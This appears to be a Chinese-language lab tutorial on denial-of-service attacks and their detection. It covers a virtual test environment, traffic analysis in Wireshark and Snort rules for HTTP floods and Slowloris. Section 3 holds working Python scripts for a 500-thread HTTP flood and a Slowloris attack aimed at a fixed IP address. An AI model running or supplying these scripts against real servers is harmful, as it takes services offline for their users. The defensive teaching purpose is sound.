从攻到防:实战演练基于Wireshark与Snort的DoS攻击检测
1. 拒绝服务攻击初探原理与危害剖析想象一下周末去热门餐厅吃饭的场景。当所有座位都被占满门口还不断涌入大量假顾客时真正的食客就会被挡在门外——这就是拒绝服务攻击DoS的生动写照。作为网络安全领域最常见的攻击方式之一DoS通过耗尽目标系统的资源使其无法提供正常服务。在实际攻防演练中我常把DoS攻击分为三大类型带宽消耗型如同用消防水管冲击纸杯通过海量流量压垮网络带宽资源耗尽型类似派1000个人同时要求服务员点单耗尽服务器CPU/内存协议漏洞型好比利用餐厅订位规则的漏洞伪造大量预约占位去年在某企业红队演练时我们仅用单台笔记本就通过SYN Flood攻击让他们的电商平台瘫痪了37分钟。这种攻击利用TCP三次握手的特性发送大量伪造源地址的SYN包却不完成握手过程导致服务器维护大量半开连接。通过Wireshark抓包可以看到正常流量中SYN/ACK比例约为1:1而攻击时SYN包数量会突然激增10倍以上。2. 实验环境搭建从零构建攻防战场2.1 虚拟化环境配置我推荐使用VirtualBoxVMware的组合搭建实验环境这样既能保证隔离性又方便抓包。关键配置包括攻击者机器Kali Linux预装攻击工具靶机Ubuntu Server运行Nginx服务监控机Windows 10运行Wireshark交换机启用端口镜像功能关键# 在Ubuntu上安装Nginx的快速命令 sudo apt update sudo apt install nginx -y sudo systemctl start nginx2.2 网络拓扑设计通过GNS3构建的典型实验拓扑如下[攻击者] --- [交换机] --- [Web服务器] | [IDS监控机]务必确保交换机的镜像端口配置正确这是捕获攻击流量的关键。在Cisco交换机上可以使用以下命令monitor session 1 source interface fastEthernet 0/1 monitor session 1 destination interface fastEthernet 0/243. 攻击实战Python实现多种DoS攻击3.1 基础HTTP Flood攻击这是我改进版的Python攻击脚本增加了随机User-Agent和间隔时间import requests import random import threading target_url http://11.93.120.7 user_agents [ Mozilla/5.0 (Windows NT 10.0; Win64; x64), Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7), Mozilla/5.0 (X11; Linux x86_64) ] def http_flood(): while True: try: headers {User-Agent: random.choice(user_agents)} requests.get(target_url, headersheaders) except: pass for i in range(500): # 500个并发线程 threading.Thread(targethttp_flood).start()3.2 高级Slowloris攻击Slowloris是种更隐蔽的攻击方式它通过保持大量慢速HTTP连接耗尽服务器资源import socket import time target 11.93.120.7 port 80 sockets [] def create_socket(): s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(fGET /?{time.time()} HTTP/1.1\r\n.encode()) s.send(fHost: {target}\r\n.encode()) s.send(User-Agent: Mozilla/5.0\r\n.encode()) s.send(Content-length: 100000\r\n.encode()) # 关键恶意头部 return s for i in range(200): # 建立200个慢连接 sockets.append(create_socket()) time.sleep(0.1) while True: for s in sockets: try: s.send(X-a: b\r\n.encode()) # 保持连接活跃 time.sleep(10) except: sockets.remove(s) sockets.append(create_socket())4. 流量分析用Wireshark捕捉攻击特征4.1 正常流量基准测试在攻击前我们先记录正常流量的特征请求频率约5-10次/秒源IP分布多个不同IP数据包大小分布均匀HTTP方法GET/POST混合通过Wireshark的统计功能可以看到正常流量中TCP会话持续时间多在1-5秒之间且每个会话包含完整的三次握手和四次挥手过程。4.2 攻击流量特征识别当HTTP Flood攻击发生时Wireshark会显示以下异常流量激增IO图表显示流量突然上升10倍以上协议分布异常HTTP协议占比超过90%源IP集中Statistics → Endpoints显示少量IP发起大量请求请求规律性Follow TCP Stream显示相同请求重复发送# Wireshark过滤攻击流量的实用过滤表达式 http.request.method GET ip.src 11.93.120.65. 防御部署Snort规则实战编写5.1 基础检测规则在/etc/snort/rules目录下创建dos.rules文件alert tcp any any - $HOME_NET 80 ( \ msg:Possible HTTP DoS Attack; \ flow:to_server; \ detection_filter:track by_src, count 100, seconds 10; \ sid:1000001; \ rev:1;)这条规则会在10秒内检测到来自同一源的100次HTTP请求时触发告警。5.2 高级频率检测规则针对Slowloris等慢速攻击需要更精细的检测alert tcp any any - $HOME_NET 80 ( \ msg:Slow HTTP DoS Attack; \ flow:to_server,established; \ content:Content-length|3a| 100000; \ threshold:type threshold, track by_src, count 5, seconds 60; \ sid:1000002; \ rev:1;)5.3 规则优化技巧在实际部署中发现几个关键点阈值调整根据业务特点设置合理阈值避免误报白名单设置排除CDN和搜索引擎的IP段性能考量复杂规则会降低Snort处理速度# 查看Snort性能统计的命令 snort -c /etc/snort/snort.conf -T6. 攻防对抗中的经验分享在一次企业安全评估中我们发现攻击者会故意在请求中插入随机参数来绕过简单检测GET /?rand0.123456 HTTP/1.1 GET /?rand0.654321 HTTP/1.1针对这种情况我改进了Snort规则不再检测具体URL而是关注请求模式alert tcp any any - $HOME_NET 80 ( \ msg:Advanced HTTP Flood; \ pcre:/GET\s\/\?[a-z]\[0-9\.]/i; \ detection_filter:track by_src, count 50, seconds 5; \ sid:1000003; \ rev:1;)另一个常见问题是攻击源使用代理或Tor网络。这时需要结合连接速率和TCP窗口大小等底层特征进行检测。在Wireshark中可以通过以下过滤条件识别异常连接tcp.window_size 64 tcp.flags.syn 1
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2468825.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!